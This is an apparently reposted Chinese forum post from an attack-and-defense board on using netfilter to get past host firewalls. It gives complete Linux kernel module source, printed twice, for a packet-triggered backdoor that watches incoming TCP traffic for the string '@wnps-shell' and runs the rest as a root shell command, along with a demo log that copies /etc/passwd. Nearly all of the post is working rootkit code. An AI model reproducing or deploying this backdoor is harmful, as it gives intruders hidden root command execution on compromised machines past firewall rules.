利用netfilter来突破防火墙
黑色星空 :: 黑色星空 :: 网络攻防(行千里路,读万卷书) :: 攻防转载
第1页/共1页
利用netfilter来突破防火墙
前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包, hook点是NF_IP_PRE_ROUTING, 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了, 可以实现防火墙, 嗅探器, 当然也可以用来触发回连后门, wnps就是这么来作的, 因此不管主机防火墙作的规则如何变态, 都有机会穿透它。下面这个demo用来演示分析tcp包的内容, 分析出里面的命令, 然后去执行它, 有点类似以前的icmp, ip包后门, 只不过这些都在内核来完成, 功能更强大。
demo在ubuntu8.10 + 2.6.28上测试成功。
wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58
demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]
wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log
+---------------------------------------------------------------------+
#include
<linux/kernel.h>
#include <linux/init.h>
#include
<linux/module.h>
#include <linux/version.h>
#include
<linux/string.h>
#include <linux/kmod.h>
#include
<linux/vmalloc.h>
#include <linux/workqueue.h>
#include
<linux/spinlock.h>
#include <linux/socket.h>
#include
<linux/net.h>
#include <linux/in.h>
#include
<linux/skbuff.h>
#include <linux/ip.h>
#include
<linux/tcp.h>
#include <linux/netfilter.h>
#include
<linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include
<net/sock.h>
#include <asm/uaccess.h>
#include
<asm/unistd.h>
#define HOOK_DEBUG
#ifdef
HOOK_DEBUG
#define DbgPrint(format, args...) \
printk("hook:
function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define
DbgPrint(format, args...) do {} while(0);
#endif
#define
TCP_SHELL_KEY "@wnps-shell"
#define PORT_NUM 6
#define IP_NUM
20
#define BUFF_NUM
512
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
struct
exec_work {
struct work_struct work;
char
*cmd;
};
static struct nf_hook_ops nfho;
int
kexec_user_app(void *data)
{
struct exec_work *work = data;
int
ret;
char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
char *envp[] = { "HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL };
ret = call_usermodehelper(argv[0], argv, envp, 1);
return
ret;
}
int execute_user_command(char *cmd)
{
struct
exec_work *exec_work;
exec_work = kmalloc(sizeof(struct exec_work),
GFP_ATOMIC);
exec_work->cmd = kmalloc(1024*sizeof(char),
GFP_ATOMIC);
INIT_WORK(&exec_work->work,
kexec_user_app);
strncpy(exec_work->cmd, cmd, strlen(cmd) +
1);
schedule_work(&exec_work->work);
return
0;
}
unsigned int hook_func(unsigned int
hooknum,
struct sk_buff
**skb,
const struct net_device
*in,
const struct net_device
*out,
int (*okfn)(struct sk_buff *))
{
#if
LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
struct sk_buff *sk =
skb_copy(skb, 1);
#else
struct sk_buff *sk =
*skb;
#endif
struct iphdr *ip;
struct tcphdr
*tcphdr;
char buf[BUFF_NUM], *data = NULL;
char *p;
if (!sk)
return NF_ACCEPT;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
ip =
ip_hdr(sk);
#else
ip = sk->nh.iph;
#endif
switch
(ip->protocol) {
case 1:
return
NF_ACCEPT;
case 6:
#if
LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
tcphdr = ip_hdr(sk);
tcphdr
=
(struct tcphdr *)((void *)sk->data
+
((struct iphdr
*)sk->data)->ihl * 4);
data = (char *)((int *)tcphdr +
(int)(tcphdr->doff));
#else
tcphdr = (struct
tcphdr *)((__u32 *)ip + ip->ihl);
data = (char *)((int
*)tcphdr + (int)(tcphdr->doff));
#endif
/*
* filter the connected tcp
packet
*/
if ((p = strstr(data,
TCP_SHELL_KEY)) != NULL) {
DbgPrint("got the tcp key
.\n");
p += strlen(TCP_SHELL_KEY) + 1;
DbgPrint("%s\n", p);
execute_user_command(p);
goto out;
}
out:
memset(buf, '\0',
BUFF_NUM);
return NF_ACCEPT;
default:
return
NF_ACCEPT;
}
}
static int kexec_test_init(void)
{
printk("kexec test start ...\n");
nfho.hook = hook_func;
nfho.owner = NULL;
nfho.pf = PF_INET;
#if LINUX_VERSION_CODE >=
KERNEL_VERSION(2,6,22)
nfho.hooknum =
NF_INET_PRE_ROUTING;
#else
nfho.hooknum =
NF_IP_PRE_ROUTING;
#endif
nfho.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfho);
return 0;
}
static
void kexec_test_exit(void)
{
printk("kexec test exit ...\n");
nf_unregister_hook(&nfho);
}
module_init(kexec_test_init);
module_exit(kexec_test_exit);
demo在ubuntu8.10 + 2.6.28上测试成功。
wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58
demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]
wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log
+---------------------------------------------------------------------+
#include
<linux/kernel.h>
#include <linux/init.h>
#include
<linux/module.h>
#include <linux/version.h>
#include
<linux/string.h>
#include <linux/kmod.h>
#include
<linux/vmalloc.h>
#include <linux/workqueue.h>
#include
<linux/spinlock.h>
#include <linux/socket.h>
#include
<linux/net.h>
#include <linux/in.h>
#include
<linux/skbuff.h>
#include <linux/ip.h>
#include
<linux/tcp.h>
#include <linux/netfilter.h>
#include
<linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include
<net/sock.h>
#include <asm/uaccess.h>
#include
<asm/unistd.h>
#define HOOK_DEBUG
#ifdef
HOOK_DEBUG
#define DbgPrint(format, args...) \
printk("hook:
function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define
DbgPrint(format, args...) do {} while(0);
#endif
#define
TCP_SHELL_KEY "@wnps-shell"
#define PORT_NUM 6
#define IP_NUM
20
#define BUFF_NUM
512
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
struct
exec_work {
struct work_struct work;
char
*cmd;
};
static struct nf_hook_ops nfho;
int
kexec_user_app(void *data)
{
struct exec_work *work = data;
int
ret;
char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
char *envp[] = { "HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL };
ret = call_usermodehelper(argv[0], argv, envp, 1);
return
ret;
}
int execute_user_command(char *cmd)
{
struct
exec_work *exec_work;
exec_work = kmalloc(sizeof(struct exec_work),
GFP_ATOMIC);
exec_work->cmd = kmalloc(1024*sizeof(char),
GFP_ATOMIC);
INIT_WORK(&exec_work->work,
kexec_user_app);
strncpy(exec_work->cmd, cmd, strlen(cmd) +
1);
schedule_work(&exec_work->work);
return
0;
}
unsigned int hook_func(unsigned int
hooknum,
struct sk_buff
**skb,
const struct net_device
*in,
const struct net_device
*out,
int (*okfn)(struct sk_buff *))
{
#if
LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
struct sk_buff *sk =
skb_copy(skb, 1);
#else
struct sk_buff *sk =
*skb;
#endif
struct iphdr *ip;
struct tcphdr
*tcphdr;
char buf[BUFF_NUM], *data = NULL;
char *p;
if (!sk)
return NF_ACCEPT;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
ip =
ip_hdr(sk);
#else
ip = sk->nh.iph;
#endif
switch
(ip->protocol) {
case 1:
return
NF_ACCEPT;
case 6:
#if
LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
tcphdr = ip_hdr(sk);
tcphdr
=
(struct tcphdr *)((void *)sk->data
+
((struct iphdr
*)sk->data)->ihl * 4);
data = (char *)((int *)tcphdr +
(int)(tcphdr->doff));
#else
tcphdr = (struct
tcphdr *)((__u32 *)ip + ip->ihl);
data = (char *)((int
*)tcphdr + (int)(tcphdr->doff));
#endif
/*
* filter the connected tcp
packet
*/
if ((p = strstr(data,
TCP_SHELL_KEY)) != NULL) {
DbgPrint("got the tcp key
.\n");
p += strlen(TCP_SHELL_KEY) + 1;
DbgPrint("%s\n", p);
execute_user_command(p);
goto out;
}
out:
memset(buf, '\0',
BUFF_NUM);
return NF_ACCEPT;
default:
return
NF_ACCEPT;
}
}
static int kexec_test_init(void)
{
printk("kexec test start ...\n");
nfho.hook = hook_func;
nfho.owner = NULL;
nfho.pf = PF_INET;
#if LINUX_VERSION_CODE >=
KERNEL_VERSION(2,6,22)
nfho.hooknum =
NF_INET_PRE_ROUTING;
#else
nfho.hooknum =
NF_IP_PRE_ROUTING;
#endif
nfho.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfho);
return 0;
}
static
void kexec_test_exit(void)
{
printk("kexec test exit ...\n");
nf_unregister_hook(&nfho);
}
module_init(kexec_test_init);
module_exit(kexec_test_exit);
黑色星空 :: 黑色星空 :: 网络攻防(行千里路,读万卷书) :: 攻防转载
第1页/共1页
您在这个论坛的权限:
您不能在这个论坛回复主题